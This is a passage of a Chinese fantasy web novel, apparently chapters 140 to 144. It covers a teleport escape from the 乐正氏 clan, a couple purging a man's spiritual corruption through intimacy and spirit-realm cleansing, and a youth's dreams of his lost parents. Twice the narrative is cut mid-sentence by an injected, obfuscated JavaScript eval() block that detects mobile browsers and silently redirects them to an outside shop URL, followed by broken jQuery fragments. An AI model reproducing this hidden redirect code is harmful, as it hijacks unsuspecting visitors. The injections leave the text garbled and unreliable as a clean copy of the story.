窥见只有一瞬,她从短暂的神丝中回神,远远传来闷雷声,夹杂在窸窸窣窣的声响中。 阿玲从墨池从走出,抬眼同满脸震惊的乐正绪对视,她没有丝毫犹豫地出手,潮水般的黑字朝着乐正绪涌去。 乐正绪两侧黑袖翻飞,黑字被收入袖中。 “你对墨池做了什么?!”他面色沉冷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362593|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上的黑袍无风自动,极白的皮肤让他看上去像是嗜血的厉鬼。 他怒极的神情忽然一滞,却见黑线顺着黑袍爬上他身体四肢,将他束缚住。 是刚才收入袖中的黑字。 这些黑字不是墨池的? 他震气抖落这些黑字,紧接着更多黑字从四面八方涌来,黑色浪潮被他震碎又再次出现。 这些黑字困不住他,但给他造成了困扰。 再次被包裹动作迟缓的一瞬,阿玲持雪麟给他一剑,捅完人就溜,不做丝毫停留。 “乐正玲!” 乐正绪的怒喊在身后回荡。 若在这里杀掉乐正绪,惹怒乐正氏,阿玲可以隐姓埋名,亦或者躲在识界,但廖家不行,孙柏柔也不行。 阿玲心中叹气,好歹先捅一剑发泄怒意。 再次提速,天雷仍在炸响,引得金明殿众人心中惶惶,阿玲化作清风在天地间快速游走。 · 廖珮缨难得的表现出暴躁情绪,三枚棋子扔出打中跑来的三名护卫,深吸口气:“她没告诉我,这破传送阵会有那么大的动静。” 说罢又是几枚棋子击飞后方企图靠近的暗卫,婴孩的哇哇大哭声让她心情更加烦躁:“她也没说,还要等半刻钟才能启动传送阵!” 围成传送空间的蓝紫色光束天而起,在宫殿群中异常醒目,直接成为坐标,源源不断的护卫察觉异常赶来。 亏她还选择了个偏僻的西殿,糊弄谁? 廖珮缨没了退路只能往前,这半刻钟必须坚持住。 孙柏柔没想那么多,她撕掉衣摆用布条将婴孩绑在背后,柔美的面容冷肃,两手微扬,无形的气场展开。 与此同时,数只白蛾从她袖中振翅飞出,白色麟粉落下,不断冲来的修士进入飞蛾范围,顿时犹如砍到的小树苗,一棵棵倒下来。 后方的护卫惊疑不定,一时没敢上前。 廖珮缨高看她几眼:“化灵术?女修都会选灵蝶?” “若非你拿走我蓍草,我哪里会只能找蛾子修,”孙柏柔面色不太好,化灵术太消耗灵力,她强撑着说,“本来打算初次用你身上,可惜了。” 廖珮缨轻笑了声:“不可惜。” 半刻钟在此时显得格外漫长,孙柏柔几乎站不起来,连最简单的五行术也无法使出。 廖珮缨一只手拎着她胳膊,她的灵棋全被她当做炸弹扔完,只能献祭这几年积攒的法器,最后一张罗盘张开的结界被击碎,她忍不住吐了口气:“两息啊。” 她从来没想过,两息会是生与死的距离。 按照经验,她的系统会在这是激发特殊事件,但没有,静悄悄的,像从来没存在过。 废物。 廖珮缨的沉稳在此时击碎,要是被乐正绪抓回去…… 她拔下发上银簪,轻叹口气,她可从来没想过自己会是这般结局。 三名护卫进入了传送阵范围,两人都已无力抵挡,孙柏柔将背后的孩子抱在怀里,廖珮缨转了下手中银簪,在心中发了狠。 人在死亡前时间会变慢。 飞刀刺破空间直射,凝成实质的剑气,紧绷的拳头带着震荡空气的力量。 狭小的空间气息杂乱,细小黑字出现时还没人发现,猛烈的攻击被黑色浪潮抵挡时众人才发现第四人。 光芒闪烁。 传送阵启动的最后一瞬,阿玲将三名护卫扔了出去,冷眉看向更多跑来的护卫。 下次,就是他们跑了。 141. 141 传送阵光芒消失的一瞬,三人同时感受到脚下柔软,紧接着身体缓慢下沉,抬眼望去,竟是一片广阔的沼泽地,她们正在沼泽中心。 廖珮缨下意识抬脚,结果陷得更深。 廖珮缨:“……” 她还从没这么狼狈过。 两人力竭无法用术,阿玲刚从墨池逃出来,对付乐正绪和护卫时看着得心应手,但也消耗巨大,持续性的头疼让她面色很不好。 阿玲将两人带到沼泽岸边也累得不行,孙柏柔怀中的孩子一直在哭,她怎么哄都哄不好。 廖珮缨浑身都是泥,心情很不好,皱眉提醒:“是不是饿了?” 孙柏柔恍然,在储物玉牌里寻找,长舒口气:“还好还好,花蜜水还在。” 廖珮缨眺望一圈:“这是哪里?” 阿玲:“不知道。” 廖珮缨:“你不知道?” 阿玲看她一眼,没说话,廖珮缨深吸口气:“你给的传送阵,你不知道?” 阿玲皱眉揉着太阳穴:“刚研究出来的初代传送阵,能顺利传送就不错了。” 廖珮缨这才有种上了贼船的感觉,但她不是自怨自艾的人,乐正氏本就快待不下去,她很快调整心态,换了身衣裙,看阿玲没动,问她:“你没储物玉牌?” 阿玲随口道:“穷人家出身。” 廖珮缨对她的印象还停留在和君慕之闹绯闻,大闹乐正氏上,一时没把这个听着潦倒不太靠谱的形象放在同一个人身上。 半晌,她取出一套干净衣物:“你我身形相当,应该能穿。” 几人稍作休整,沿着同个方向走,走出沼泽区已经日落,寻了很久才找到人家,询问后才得知这是南边,太虚大陆最靠边的一块。 这意味着从这里回到百崃至少十日。 孙柏柔有些惊讶,但也接受良好,廖家蛊毒已除,有祖母坐镇,欧家想要再控制廖家就没那么容易了。 阿玲听到要十日,头更疼了。 她的修为强行提升至神台九层,实力不稳,急需时间巩固,她没法做到姬月生和君慕之的速度,可能需要更长时间。 孙柏柔找借宿人家讨米汤时,廖珮缨找到阿玲:“接下来有什么计划?” 阿玲反应过来,她骗廖珮缨说青花授意自己救她的,阿玲猜得没错,廖珮缨是天涯路的成员。 她不动声色道:“不知道,我只负责救你。” 廖珮缨向她伸手:“我是玲珑。” 天涯路的每个成员都有自己的代号。 阿玲握上去:“梅子青。” 廖珮缨眸色惊讶:“不太像。” 阿玲想到蒋敏在群里以ID“我太帅了”的活泼发言,面不改色道:“掩人耳目。” 廖珮缨没过多纠结,目光瞥向低眉哄孩子的孙柏柔,沉眉不知在思考什么。 阿玲皱眉:“孙柏柔我得带走。” “哦?”廖珮缨望来,“不是说君慕之暗中追杀我,她是我的保命手段?” 阿玲:“君慕之没有追杀你。” 廖珮缨看她的目光带了几丝狐疑:“你当真是来救我的?我感觉你更像是来救我这位族妹?” 真敏锐啊。 阿玲说:“当时情势所迫没法解释太多,救她是为了还人情,那种情况下我不这么说你不会带上她。” 廖珮缨挑眉:“你真是梅子青?” 阿玲没答,而是说:“告诉青花,我需要见他。” 廖珮缨断言:“你不是梅子青。” 阿玲以为廖珮缨要戒备出手,就听她又说:“你认识青花,又知道梅子青,你是青花邀请的那个人?” 她只说了几句话,廖珮缨就猜了个八成,不愧能在乐正绪手下安然求生这么多年。 阿玲回答:“明日我们分开,君慕之没有追杀你,不代表乐正绪不会追杀。” 第二日廖珮缨先行离开,孙柏柔知道后低眉叹了声,她对这个堂姐的感情很复杂,但廖家终究是容不下她了。 阿玲往回赶时心中忍不住焦躁。 她脱离了危险,可代价是君慕之陷入危机。 阿玲从墨池醒来时江弥也在同时清醒,两人都躺在地上,君慕之陷入昏迷,额上的黑纹几乎连成一片,面色毫无血色,他的头压在江弥肩头,鲜血染红了她的衣襟。 江弥起身将君慕之扶起,脚下踩到什么才察觉不对。 君慕之的头发正在疯狂生长,原本及脚踝的头发长长地拖在地上。 这本该是有点恐怖色彩的场景,奈何君慕之长得太好看,这种时候没有半点攻击力,竟有种水妖从清澈水滴仰面望来的感觉。 很快江弥连这种想法都没了。 墨色长发在向外逸散黑气,好像工笔描绘的发丝忽然被点了墨,颜色朝空白处晕染开。 这情况一看就不对。 他们还在廖家,廖家祖母刚过世,此时各种负面情绪交织,没人管他们,江弥带着君慕之回到半山腰的小院。 君慕之脖颈上的血还在往外溢,江弥寻来药膏用纱布包住伤口,然后坐在床边低头看他。 不到两刻钟功夫,君慕之的头发就笼罩了整张床,秽气从发丝溢出,黑气弥漫开来。 然后呢,该怎么办? 她抬手贴在他脸颊,逸散的秽气纷纷远离她,她的手两寸外形成小片真空,她又用另一只手贴上去。 现在的君慕之真的很脆弱,她的手掌往下,按在脖子上,稍稍用力,他就会这样死掉。 君慕之进过她的识界。 君慕之得知她异世者身份。 君慕之知道了她最大的弱点。 心头涌现的暴躁情绪让她有点控制不住。 她见过太多异世者的死亡,还有很多死于她手,她极力避免自己成为这些人中的一员,她从来不去想自己的结局,因为大概率不会是好结果。 虚幻的黑气将她包围,又丝毫不触碰她。 生死与共,生死与共。 江弥手掌上移,轻捏了下他的脸,松开后又摸了摸。 君慕之离不开溪兰,他们生死与共,君慕之知道她的身份依然会救她。 但同时,君慕之救了她很多次,君慕之喜欢她,君慕之很挑食,君慕之喜欢亲吻…… 她的思绪很乱,像一团混乱复杂的线团。 秽气外溢越来越严重,这显然是很危险的情况,阿玲及时进入他识界应该能立马稳定,但阿玲回来君慕之早就控制不住溃散而亡。 她也没法让君慕之食用凝香丸,她也不知道凝香丸在哪里。 江弥拂开溢出床沿的头发,轻叹了声。 她不是溪兰,只是沾有溪兰气息,做不到真正的净化秽气,她能做的只是压制。 江弥伸手解开衣领,渗入衣料的鲜血沾在她皮肤上,很不舒服,但没时间了,她解完自 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相反的是,君慕之很干净,是那种身上连痣都很难看到的干净,像无暇的玉。 哦,这块玉上有了她的痕迹。 在墨池的后遗症还没消失,她头脑发胀地盯着君慕之的手发了会儿呆,回头望了眼,君慕之还没醒,额上的黑纹已经褪去,但头发仍旧在生长。 昨夜君慕之的头发覆盖整张床,乱七八糟缠在她身上,江弥一气之下剪大了半,落下的黑发变成秽气消散,但今早起来,床上又铺满他的头发。 真的很像水妖啊。 江弥将落在身上的头发往旁边拨了拨,披着衣服要下床,一只手圈在她撑着床的手腕上。 江弥回头,君慕之坐起来了,长长的头发搭在他身上,他没有看江弥,只低垂着眼眸不语。 为什么有种她要偷偷跑掉的错觉? 江弥下意识解释:“……我饿了,去找点吃的。” 君慕之没松手。 江弥想着是不是昨天在廖家时她表现得太冷血敌意太深,所以这会儿没有安全感? 喜欢更多的人好像是会患得患失。 江弥问:“那你和我一起?” 于是君慕之拖着长长的头发跟在他身上,江弥看不过去,又给他剪到齐腰处。 两人坐在小院的石桌前,阳光倾泻,君慕之面色看上去好很多,他没有吃,只是看着江弥吃。 江弥吃完帮他重新包扎脖颈伤口,几道小口子结了鲜红的痂,两道大伤口还在渗血,她问:“你的头发为什么一直变长?” 君慕之抬眸看了她眼:“不稳定。” 江弥的手停顿:“要多久才能稳定?” 君慕之没说话,江弥猜出来了,少说也得好几日。 就是说,在等阿玲回来期间,还要…… 江弥剪掉多余的纱布,坐在桌前揉了下太阳穴,深吸口气,用商量的语气问:“你能不能……歇一歇?” 君慕之侧了下头,没说话。 江弥抬眼,有片刻怔然。 阳光照射下,君慕之白得有点透的皮肤上染上微红,眼皮也有点红,他穿衣没平时那么讲究,应该是看她饿不想她等,领口微微敞开,露出锁骨,上面还有一枚牙印。 江弥:“……” 算了,也行吧。 142. 142 江弥没想过自己还会有这么荒唐的时候。 她以为君慕之说的不稳定只是头发不断生长,江弥吃完没多久,他额上的黑纹再次浮现,从前只用肌肤相触就能解决的事,现在只是延缓,下午头发会再次溢出黑气。 君慕之面色很差,只垂眸不语。 江弥想看他多久才会开口,但坐在她身旁的是只紧闭的蚌,能将自己憋死。 江弥对情事看得很平淡,喜欢一个人就会生出渴望,这是人的本能,她态度坦然,但以为的和真实体验毕竟不同,这是比肌肤相触还要亲密的事,难免会生出赧意,结果她身边的人更甚,那点赧意忽然就烟消云散。 她心想,你要是始终如一才好呢! 江弥起身将人推到在床上,漆黑的头发铺开,像水草一样将她缠住。 这事由她起,却没法由她终。 半山腰的小院只有两人,无人打扰,偶尔有野外小动物跑来,歪头看溢出窗棂的长发轻轻摇曳。 …… 江弥又倒了杯水喝下,茶壶空了,君慕之主动去帮她烧水,江弥整个人透着一股懒意,她揉着太阳穴,可惜这里没有双修的概念。 君慕之提着热水过来,江弥拉他坐下,倾身上前,下巴搁在他肩膀上,没什么力气地搂着他脖子,一串动作很是自然。 君慕之将茶壶放下,双手环她腰让她舒服点。 江弥想得清楚,秽气外溢倒霉的还是她,能延长发作就延长。 她隐约察觉,君慕之长久以来的平衡是被她打破的。 从前他积累的秽气被体内另一股力量压制,两者保持着平衡,但君慕之的身体会不自觉吸收秽气,就只能用凝香丸净化掉多余的秽气。 现在那股力量被抽走一部分,平衡打破,秽气压制不住,江弥相当于在弥补那部分力量。 江弥摸了把君慕之头发,又长了:“阿玲差点被墨池同化时突然出现的绿光是什么?” 君慕之:“力量本源。” 一听就很厉害。 江弥身体后仰,手指勾出脖颈间的玉坠,一抹沁人心脾的绿轻晃,她好奇问:“这个也是?” 君慕之嗯了声,落在腰间的手上移,用力,江弥被他按在怀里,她没怎么抵抗地伏在他肩头,心想君慕之好像有点粘人了。 两人在山中待了几日,和外界隔离开来。 江弥很少有这样什么都不想的时候,她趴在窗台上沐浴着日光,心情很平和。 身后传来窸窣声,没一会儿君慕之走来,自然地搂着她的腰从后方抱住她,一贯清冷内敛的人带着点慵懒。 和刚开始亲密时有点不太一样。 之前的君慕之需要她主动发出信号,如果她什么都不说,什么也不做,君慕之会将自己封闭死,像是至死也不打破某种原则。 这两日他的情况好转,不再经常秽气外溢,江弥觉得亲密行为可以适当减少。她不主动,君慕之会捏她后颈,很温柔,但不容她逃跑。两人在床上的时间并没有减少,她恼了咬人,君慕之会低声笑,怎么说呢,她很少看到君慕之这样放松的时刻。 开始江弥以为他是习惯了两人的这种相处方式,某个瞬间看到他低头轻嗅她脖颈皮肤时,江弥忽然从这细微的差异里察觉出他的心思。 发病时的君慕之行动克制,他不允许自己强迫她,哪怕是一丝也不行,要江弥说可以他才会允许自己进一步,像是心神被秽气控制,无法分清自己是因病在渴望她还是内心真的在渴望她,所以将选择权给她。 不发病的君慕之更遵循内心,不自觉就会带着少主的强势,可他对江弥又是温柔宽容的,这种强势反倒像是在渴求,不仅不会反感,还叫人怪稀罕的,无情无欲的清冷少主忽然有了欲望,听着就很带感。 江弥心中忽然蹦出两个字。 男德。 她见过姬月生和乐正绪,也就越发觉得同样出生在血脉家族中的君慕之的可贵。 啊,这男人。 江弥撑着下巴,侧头看他,这个角度刚好看到他的喉结,以及旁边许久未愈的伤痕。 那是她施加在他身上的伤,他若不想,她伤不到他。 “对不起。” 君慕之垂眸,江弥指指他的伤口。 她见过姬月生一点伤口许久才能好全,神脉家族的人都这样,力量越强大,伤口越难痊愈,他们会避免让自己流血。 君慕之轻嗯了声。 江弥认真观察,君慕之的神色像是不觉得有什么,她在心中叹气,君慕之这个人,真的很容易让人将他的好当成理所当然,她怕未来哪天自己被他惯得不知好歹。 想了想,江弥仰头在他伤口亲了几下,认真说:“对不起,我该信你的。” 君慕之喉结上下滚动,半晌没出声,江弥后仰着看他,被按着脑袋转向窗外,阳光树林映入视野。 他低声说:“没关系,我知道。” 江弥没理解他说的知道是早知道她身份还是知道她那是的恐惧,但事情过去了,没那么重要,她问:“廖家祖母的话是什么意思?” 君慕之:“她推演到天启。” 江弥敏锐察觉到区别:“和神不一样的存在?” 君慕之:“嗯。” 江弥思索着询问:“天启是对的?” 君慕之笑了下,没答。 不好说。 如果廖家祖母说的话是天启,阿玲在墨池得到启示,也是天启? 廖家祖母说,你们没有错,是神蒙蔽了世人的眼睛。 异世者如今面临的困境,是神造成吗? 异世者是棋子。 混沌和异世者一同降临。 系统的力量来自神散落的部分。 眼前的迷雾拨开,江弥看到两只巨大的手在相互博弈,异世者、修真界是两方棋子,一无所知的他们在棋盘上厮杀搏斗,不知缘由,不知结局。 摸到事实的此刻,江弥反倒有种不太真实的感觉,像是低头拼命追逐终点,她以为还要走很远,但一抬眼,终点就在眼前。 知道真相后,然后呢? 她被字灵选中,在墨池得到天启,是“它”的重要棋子,所以接下来要帮“它”打败现有的神才 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“若上古时期也有百神谱,‘不死树’大概只能在百神中排名倒数,祂凭借旺盛的生命力延续至今,百神纷纷陨落,祂成了仅剩的几神之首。” 江弥想着以后和君慕之是一家人,了解对方的家庭成员是应该的,她打起精神想了想,点评:“否极泰来。” 君慕之紧了紧她腰间的手:“君氏对外说我打伤同胞所以被送去守陵墓,实则是我秽气过重,发病被送往‘不死树’附近养伤。” 江弥想起那个活力生机的绿色光团,看来压制秽气是“不死树”的力量本源。 “我杀‘不死树’时被君氏族人发现,他们不愿放弃我的神血,也不敢将我找回族地。” 江弥猛地一惊。 等等,中间是不是缺了点什么,为什么忽然要杀“不死树”了?还是说压制秽气的法子是你自己探索出来的? 剧情陡然转弯,她就跟坐公交没站稳整个被甩出去! 江弥转身问他:“你是不是省略了最关键的内容?” 君慕之看着她重新恢复活力,手指在她后颈上捏了下,确定刚才的黑气是最后一缕,笑着看她有些烦躁又克制地将他手拿下来。 就在方才,君慕之感知江弥情绪忽然失落,接着有秽气从她身上飘散,两人隔得近,秽气很快钻入君慕之身体,江弥陷入自己的情绪并未察觉。 君慕之眼眸含笑:“什么最关键内容?” 江弥:“为什么要杀‘不死树’?祂不是君氏的神灵?” “不是每个神都想要绵延下去,”君慕之说,“祂们生于混沌,存在于混沌,但天地早已大变,没有合适祂们生存的空间了。” 江弥:“这是不是说,神不会活多久?” 君慕之看出她想法:“神的寿命之末,也比人类漫长。” 这倒是,江弥还来不及细想,就见君慕之额头又开始冒黑纹,她条件反射地扶了下窗,又觉得自己应该勇敢面对,拉着他衣袖往屋内走,忍不住询问:“不是才压制住吗?怎么会这么快。” 君慕之:“不稳定。” 143. 143 阿玲回到百崃已经是半月后,中途因为小孩子耽搁了几天。 孙柏柔邀请阿玲去廖家想向她表达感谢,阿玲推脱有事拒绝了。 奇怪的是,阿玲大闹乐正氏后没被欧家追杀,回来路上阿玲去散盟会打听消息,也没有相关的悬赏任务。 江弥担心乐正氏在暗中图谋什么,几天沉眉思索,君慕之见状询问,江弥说了乐正氏发生的事。 半晌,君慕之才问出口:“你从乐正氏的墨池抢夺字的力量?” 他的表情江弥现在想起来还觉得稀奇,君慕之这个人,淡定,强大,江弥怀疑这世上就没有他不知道的,难得看他诧异又错愕的样子。 江弥眨眼:“我以为你知道。” 阿玲落入墨池时君慕之两次出手将她拉回,她以为君慕之知道她的处境才出手。 君慕之没说什么,捏了下她手指:“乐正氏元气大伤,暂时不会有其他举动。” 江弥事后复盘分析,猜测乐正绪应该是在清洗她记忆时出了问题,她的灵魂比寻常人强大,加上和君慕之的神契关系,这步没有成功,随后她吸收墨池力量,即将被同化时君慕之再次出手,最终导致她吸收了力量却没变成乐正绪想要的样子。 看样子是她赚了,没杀掉乐正绪的不爽瞬间被抚平。 君慕之说乐正氏不会有动作,江弥还是很谨慎,阿玲回到百崃没有立马上半山小院,江弥下了趟山,在感应范围内将阿玲收进识界,回小院才放出来。 君慕之同时见到两人出现,停顿片刻,走向江弥。 江弥看他突然变得不自然,顿时有种终于出了口气的畅快感,这段时间的相处让她见识到君慕之并不是她想的那样无害,比如她明确表示拒绝时他会当做没听到。 江弥后退一步,让阿玲过来,她说:“你的秽气得立即处理,接下来阿玲会全力配合。” 君慕之沉默下来。 阿玲主动说:“需要我怎么配合?” 君慕之没说话。 江弥想了下,他大概觉得尴尬,贴心道:“那我再去山下买点东西?” 阿玲先进了屋,君慕之站着没动,江弥叹了声,走过去拉他进去:“我在一旁看着。” 这种和别的女人共处一室一定要老婆在场自证清白的感觉真的很奇怪,她们分明是同个人。 江弥撑着下巴看君慕之和阿玲说他的猜想。 君慕之回忆君夫人和兰姨的相处,兰姨每隔段时间会消失,应该就是在定时清理君夫人识界里的秽气。 而阿玲的实体能进入江弥识界也证实了这点。 江弥不太记得君慕之怎么进入她识界,在看到阿玲抬手按在君慕之额头后忽然消失时,眨眼惊了下。 通过阿玲,她看到了君慕之的识界。 黑色,全是黑色。 阿玲进入的第一反应,压抑、窒息。 她站在浅色积水上,目之所及皆是浓郁的黑,空中缓慢蠕动的秽气几乎凝聚成粘稠状,脚下陷入黑色淤泥,像是一脚踩进沼泽。 她能感受到君慕之识界的辽阔,却无法看到两米外有什么,她的视野被秽气填充,她甚至没有看到神台。 这就是君慕之的识界。 她抬步往黑气中走,秽气像是看到克星迅速往四面八方退去,但这里秽气太多,还是让她触碰到不少,刹那间阴暗沉郁的思绪在她脑海里绽放又消散。 小团秽气消失了。 难度不大,但工作量不小。 突然,前方的黑气团蠕动几下,从里面蹦出一小团绿光,它好奇地绕着阿玲转了圈,然后欢快地在前方带路。 绿光不会让黑气消失,但在黑气里横着走,阿玲有种看到孩子王的错觉。 绿光将她带到哪里她完全没感觉,这里到处都是黑气,只是脚下的黑色淤泥感触特别明显。 小光团往前面飞了下,然后停下来,像是让她往前,阿玲试探往前走了两步,忽然看到一缕金色光芒从黑气中冒出,因为太过耀眼,还以为她看错。 阿玲继续往前,黑气退散后露出神台的一角,金光灿灿的神台高大宽阔,像某个天上宫阙的台阶,她将手放在上面,感受到浑厚的力量。 这还只是第一层,难以想象九层之上的空间有多大。 如果秽气填充所有空间,她大概一辈子都出不去,只能待在这里追着秽气净化。 效率太低了。 阿玲站在原地沉思着,绿光团在周围窜来窜去,阿玲看着它,如果她能凝聚这种能净化的光团效率会提高不少。 她记得第二体出现在江弥识界时躯体泛着很淡的金光,后来很少回到识界,变得越来越像人体。 阿玲尝试使用的神力,但在别人的识界里无法使用自己的力量。 阿玲看了眼君慕之的神台,犹豫了下,将手重新放上去,片刻后点点金光溢出,像是在黑色油污里点了几滴清洁液,以光点为中心,大团秽气出现几块圆形真空。 有用! 阿玲尝试了几次,十个是她的极限,于是十枚金色光点在识界里乱七八糟地冲,绿光团混在里面跟着横冲直撞。 粘稠的秽气蠕动满,留下一条条净化过的痕迹。 阿玲这边有条不紊地净化秽气,江弥撑着下巴看君慕之,脑海思索天涯路的事。 她目前知道的几名成员: 项昭昭,卧底守望军——带滕宝入组织,应该是想让他接手守望军,随后同扶尧联合,守望军和皇室合作。 滕宝被她杀死,计划被打断,所以项昭昭在守望军被清剿据点时站出来,整合剩余异世者成立天一武会,继续和皇室的合作。 天音,协助池家的造神计划——池七为了让池家重回巅峰,将天音打造成神。天音则通过池七聚集不同身份地位的人,预知他们的未来,以此得到未来走向。 暮云,跟随扶尧,辅助九皇子登基——异世者有了新的选择,加入天一武会为皇室效力,异世者能光明正大生活在阳光下,皇室拥有异世者武力,可能是为了统治,也可能是为了震慑世家。 苏与商,卧底天诛院,掌握天机进度——苏与商放弃苏家大小姐身份进入天诛院,蛰伏多年爬到高层,能直接接触天机的核心人物。 廖珮缨,接近乐正氏——廖家大小姐,因身份危机被青花告知原身拥有乐正氏血脉,因此进入乐正氏。 项昭昭潜入守望军,天音和池七合作,暮云辅助扶尧,苏与商卧底天诛院,廖珮缨则是乐正氏…… 青花说他在探索异世者的出路,让天涯路成员分别进入各个势力,异世者组织,世家,皇室,天诛院,神脉家族。 江弥在脑海里编织出一张网,她圈中天一武会,看上去这个是天涯路为异世者规划的出路,随后她又圈中天机,只要天机研发成功,天一武会不堪一击。 他打算让苏与商破坏天机的研发? 这显然是下策,容易暴露苏与商身份不说,天诛院只要愿意投入研究,天机总有一天会成功面世,那时就算有十个苏与商也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408798|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没用。 还有死神。 如果是她的话,她会将死神放在哪里? 江弥在脑海里过滤各方势力,最终停留在散盟会上。 死神,散盟会,悬赏榜第十名,但没人知道他的样貌,很适合藏在散盟会。 这就能说清了,池七颁发异世者任务时为什么散盟会会主动提供一个版块,他在辅助天音的计划。 相较天涯路的毫无章法和松散而言,天涯路确实是个精英团队。 如果天涯路也无法成功,江弥不认为还有谁能为异世者挣脱出棋子的命运。 她打算见青花,他们应该知道异世者被卷入怎样的博弈中。 比她聪明的异世者比比皆是,她也不认为有能力挣脱这一切,她对自己的认知很清晰,只做自己能做的事。 穿越后的很多个夜晚,她在星空下思索自己为什么穿越,那时她以为自己追寻结果后会做些什么,可真到了此刻,发现什么也做不了。 接受自己改变不了任何东西后,她有了另一个疑惑。 异世者的死亡会让左眼发病,看到异世者死亡能吸收系统能量进阶,还有穿越时被植入溪兰,这些是谁做的? 大概能确定的是,她的左眼和溪兰是101神植入的。 前者目的不明,除了让她看到别人看不到的东西,知道有异世者死亡外,好像没什么作用。 后者看上去是为了能让君慕之遇到阿玲,从而净化秽气。君夫人可能在那时出了什么问题。 那101神又在这个棋局里扮演什么角色?她看上去对自己没有敌意。 “它”也没有敌意,甚至让她被字灵认可,“它”只是把她当棋子。 江弥按了下太阳穴,将自己从这些思绪中挣脱出来。 她不想再被这些问题吊在前方拼命奔跑,和青花说清楚后,她打算和君慕之去西边游玩,她答应过陪君慕之到处走走。 接下来几日阿玲都在君慕之识界净化秽气,但时间没法太长,几刻钟就会被弹出来。 随后阿玲需要进江弥识界修养,秽气虽不会对她造成影响,但阴暗负面的东西容易传染,阿玲出来后蔫蔫的,江弥也心情不太好。 进入君慕之识界后,江弥心中忍不住感慨,旁人只觉得他是天之骄子,风光无限,但没人知道他背负着怎样的痛苦。 江弥说:“等你的秽气稳定后,我去拜访一位友人,完了我们去游玩,你暂且不宜去人多的地方,先去西方看日落和大漠,如何?” 君慕之没问她为什么突然放下一切要离开,也没问她要去拜访谁,他接受她的所有决定。 五日后,江弥下山碰到蒋敏,她看江弥的神色有些古怪,但还是上前老实说:“青花让我给你带话,你想找他就去夏家。” 随后瞥了她好几眼,忍不住问:“你认识青花?你们怎么认识的?那个,你是……?你懂吧?” 江弥没有回答她,只点点头:“我知道了。” 蒋敏看着她离开的背影,纠结得脑袋都要冒烟了,她到底是不是异世者啊? 片刻后,青花收到梅子青私信—— 【江弥是异世者对不对?我知道了!】 【你说句话,是,还是,不是?】 【不行我真的憋不住,她到底是不是异世者啊?如果是异世者,那也太牛了吧!她跟君慕之谈恋爱哎?她就不怕发现然后被君慕之杀了?】 【青花,首领,你告诉我吧!我实在是太好奇了!老大!!!】 144. 144 赤红色大火犹如一张大网包裹,滚滚热浪扑来,耳边传来急促的喘息声,两侧景色飞速倒退。 齐乐知道自己在做梦,此时却仿佛真的化作十岁幼童,满脸惊恐着无法动弹。 大火中出现黑色人影,火光模糊他的轮廓,远远看去像是一团黑影。 黑影越来越近,他背着光,齐乐看不清他的样子,却感觉抱着他的人逐渐慌乱。 接下来的场景有些混乱,黑影追上他们,幼小的他被放下来,黑影和抱他的人打起来,摇曳的火光和术法碰撞的光芒交织在一起,他大声哭喊,一切变得扭曲而荒诞。 齐乐猛地睁开眼,炙热和浓烟好似透过梦境传递过来,他忍不住剧烈咳嗽,连忙下床喝了三杯茶水才缓过劲儿。 又是这个梦。 齐乐十七岁起陆露露续做梦,无一不是幼年的他。 前十六年他以为自己和启蒙院其他孩子一样无父无母,陆陆续续的梦叫他摸出一点幼年的生活影子,他应该有个和美的家庭。 幼年的他很调皮,总是趁大人不在玩水,有时是下雨淋雨,有时是雨后踩水,齐仲吟不会说他,只是将湿哒哒的他剥干净抱进热水洗澡。 明明看不清脸,齐乐却知道他神色是无奈宠溺的。 他爹的脾气应该很好。 他娘发现会大喊:“齐仲吟,你又宠他!” 齐乐知道了他爹叫齐仲吟。 他没有十岁以前的记忆,除了启蒙院,他十多岁和阿婆生活在一起,十一岁那年婺城被小混沌笼罩,他活下来了,阿婆变成魊被及时赶到的修士杀了,阿婆什么都没说,也没留下什么。 从启蒙院出来后,他加入散盟会寻找齐仲吟,但这个人仿佛从不存在,他的梦只是一场虚幻。 齐乐将茶杯按在桌上,本来想再去找天音询问一遍,结果钱大公子说池七和天音被天诛院抓了。 一年多的毫无音讯让他特别烦躁。 还没头绪的话只能去拜访廖家,能问到点什么都行。 齐乐扛着剑出门,不远处是热闹的集市,梦里的大火跟钻他心里似的,他走在人流里看谁都烦。 一小孩撞他腿上齐乐都想拔剑戳一刀,还是妇人急忙按着小孩脑袋跟他道歉才勉强放弃这个想法。 “跟你说了别乱跑,你怎么就是不听话?” 确定齐乐不计较后,妇人拉着小孩在路旁训话,刚才齐乐的样子显然将她吓到了,嘴里说着生气的话,眼泪却从眼眶流出。 小孩讷讷喊:“娘。” 妇人捏着他的胳膊怒道:“别喊我娘!你到底听到没有?” 小孩痛得大哭,妇人擦着眼泪又低声心疼哄他,齐乐站在街道对面看着,行人来来往往,他看着妇人抱着小孩离开,想起梦中自己也是这么被人抱着。 “忘了吧,忘掉这一切。” 齐乐下意识抬头寻找声源,但那里只有蓝天白云以及屋檐下悬挂的铜铃。 “乐乐,别回去。” 耳边回响的声音令齐乐久久无法回神,他盯着被风吹动的铜铃,那个熟悉的、让他心安的声音,是他娘吗? 齐乐回忆自己在梦中是否听过这个声音,但太过模糊,梦里的一切仿佛用玻璃罩盖住,声音和画面影影绰绰,怎么都无法摸清。 他的记忆是不是被人处理过了? 这个念头一出,齐乐心脏猛地跳动,当即朝着散盟会的方向跑去。 “尉老头!尉老头在不在?!” 